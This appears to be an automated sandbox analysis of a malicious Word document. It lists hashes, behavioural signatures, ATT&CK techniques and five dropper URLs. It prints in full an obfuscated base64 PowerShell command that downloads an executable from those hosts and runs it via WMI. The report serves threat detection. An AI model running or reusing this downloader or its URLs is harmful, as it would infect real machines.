ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
141s
max time network
161s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-01-31_62010.doc
Size

108KB
MD5

96ad0be94660bf20cbad3528435291e5
SHA1

62bcd096f02bdc9e4b22b6a4163665035d44599a
SHA256

2102f8ddb366289e1fa17890439b88d9da118d5e871c58ddfeb217f1846e5c91
SHA512

ed408f36c0980226af9bb058b43f726c8c94f6cc7fd1f79f2e33ed72c5e6d1c7e3d1b861aff63c085d1196416f2028e16e9a3df973446aa235404fa971163a20

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://anivfx.kr/wp-snapshots/vsGnmTxC/

exe.dropper

http://unoparjab.com.br/wp-content/themes/twentysixteen/shqjYS/

exe.dropper

http://5designradioa.com/cgi-bin/hel3pgfj0u-utw9ye5h-00601/

exe.dropper

http://agencia619.online/cli/nntYnR/

exe.dropper

http://africa2h.org/wp-content/brxhQk/

Signatures

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

PoWERsheLL.exe

pid process

1552 PoWERsheLL.exe
1552 PoWERsheLL.exe
1552 PoWERsheLL.exe
Blacklisted process makes network request 4 IoCs

Processes:

PoWERsheLL.exe

flow pid process

23 1552 PoWERsheLL.exe
25 1552 PoWERsheLL.exe
28 1552 PoWERsheLL.exe
30 1552 PoWERsheLL.exe

pid	process
1552	PoWERsheLL.exe
1552	PoWERsheLL.exe
1552	PoWERsheLL.exe

flow	pid	process
23	1552	PoWERsheLL.exe
25	1552	PoWERsheLL.exe
28	1552	PoWERsheLL.exe
30	1552	PoWERsheLL.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

WINWORD.EXE

pid	process
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE
3620	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3620 WINWORD.EXE
3620 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

PoWERsheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	3452	PoWERsheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

PoWERsheLL.exe

description pid process

Token: SeDebugPrivilege 1552 PoWERsheLL.exe

description	pid	process
Token: SeDebugPrivilege	1552	PoWERsheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-31_62010.doc" /o ""
1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3620

C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
PoWERsheLL -e JABXAGUAaABnAGwAbgB1AHUAZQB5AD0AJwBDAHMAcgBxAGgAYwBnAHYAdwAnADsAJABNAGQAdwBrAHgAdAB1AGsAYQBhAHMAaQBlACAAPQAgACcAMQA3ADAAJwA7ACQAWQBnAGkAegBoAHgAcgB0AHoAaAByAG4AcgA9ACcASQByAGkAcwBsAGsAbgBzAHIAaQBrAGsAJwA7ACQAUQBhAHkAcAByAG4AcwB5AHYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE0AZAB3AGsAeAB0AHUAawBhAGEAcwBpAGUAKwAnAC4AZQB4AGUAJwA7ACQAVQBuAHIAdABpAGkAZQBlAHYAbQBnAGcAdAA9ACcAQQBkAHoAcwBoAHgAZABuAGwAegBuAGsAJwA7ACQASgBvAG8AcABqAG8AdQBzAGcAeQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAATgBFAFQALgB3AEUAQgBjAGwASQBlAG4AVAA7ACQAQQBkAHkAbgBmAHUAYwB1AHoAbAB2AHQAZgA9ACcAaAB0AHQAcAA6AC8ALwBhAG4AaQB2AGYAeAAuAGsAcgAvAHcAcAAtAHMAbgBhAHAAcwBoAG8AdABzAC8AdgBzAEcAbgBtAFQAeABDAC8AKgBoAHQAdABwADoALwAvAHUAbgBvAHAAYQByAGoAYQBiAC4AYwBvAG0ALgBiAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdABoAGUAbQBlAHMALwB0AHcAZQBuAHQAeQBzAGkAeAB0AGUAZQBuAC8AcwBoAHEAagBZAFMALwAqAGgAdAB0AHAAOgAvAC8ANQBkAGUAcwBpAGcAbgByAGEAZABpAG8AYQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGgAZQBsADMAcABnAGYAagAwAHUALQB1AHQAdwA5AHkAZQA1AGgALQAwADAANgAwADEALwAqAGgAdAB0AHAAOgAvAC8AYQBnAGUAbgBjAGkAYQA2ADEAOQAuAG8AbgBsAGkAbgBlAC8AYwBsAGkALwBuAG4AdABZAG4AUgAvACoAaAB0AHQAcAA6AC8ALwBhAGYAcgBpAGMAYQAyAGgALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAHIAeABoAFEAawAvACcALgAiAHMAcABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB4AG0AbAB2AGUAdQB6AHUAaQBnAD0AJwBXAHcAbQBmAHEAaAB4AHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBiAGkAYQBiAHYAdwByAGIAcwAgAGkAbgAgACQAQQBkAHkAbgBmAHUAYwB1AHoAbAB2AHQAZgApAHsAdAByAHkAewAkAEoAbwBvAHAAagBvAHUAcwBnAHkALgAiAGQAbwBgAFcATgBsAE8AYQBEAGAARgBJAGwARQAiACgAJABDAGoAYgBpAGEAYgB2AHcAcgBiAHMALAAgACQAUQBhAHkAcAByAG4AcwB5AHYAKQA7ACQAUwB6AGIAcQB6AGcAdAB1AHgAcQA9ACcATwB0AHYAeQBiAGEAYgBqACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUQBhAHkAcAByAG4AcwB5AHYAKQAuACIAbABlAG4AYABHAHQASAAiACAALQBnAGUAIAAzADIAOQA1ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGUAYQBgAFQARQAiACgAJABRAGEAeQBwAHIAbgBzAHkAdgApADsAJABUAGgAcgB6AHUAeABjAHIAegBtAG0APQAnAFUAbwB2AHQAYgBuAGkAYQBwAHMAJwA7AGIAcgBlAGEAawA7ACQASgBzAGcAeABwAHYAdQBmAGkAaABqAGkAPQAnAFgAdgB5AG8AcgBjAHkAaQBlAG0AZQBoAGgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBlAG8AagBnAGsAZQB2AD0AJwBSAHMAbwBlAG0AZQBtAG0AYwBwACcA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:1552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3620-0-0x000001AEAC545000-0x000001AEAC556000-memory.dmp

Filesize
68KB

Download
memory/3620-1-0x000001AEAC545000-0x000001AEAC556000-memory.dmp

Filesize
68KB

Download
memory/3620-2-0x000001AEAC542000-0x000001AEAC545000-memory.dmp

Filesize
12KB

Download
memory/3620-3-0x000001AEAC545000-0x000001AEAC556000-memory.dmp

Filesize
68KB

Download
memory/3620-4-0x000001AEAA3AB000-0x000001AEAA3AD000-memory.dmp

Filesize
8KB

Download